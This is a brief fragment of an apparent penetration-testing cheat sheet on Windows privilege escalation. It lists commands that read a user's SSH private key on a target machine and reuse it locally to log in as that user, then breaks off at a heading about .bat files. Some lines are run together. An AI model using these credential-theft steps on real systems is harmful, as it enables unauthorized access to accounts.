Windows Privilege Escalation
Abusing SSH keys
#On the target machine
type C:\Users\$user\.ssh\$keyfile #For a user#On our machine
nano $filename #Copy here the keys
chmod 600 $filename
ssh $username@$IP -i $filenamessh-keygen -f $keyfileAbusing .bat files with full control permissions
Last updated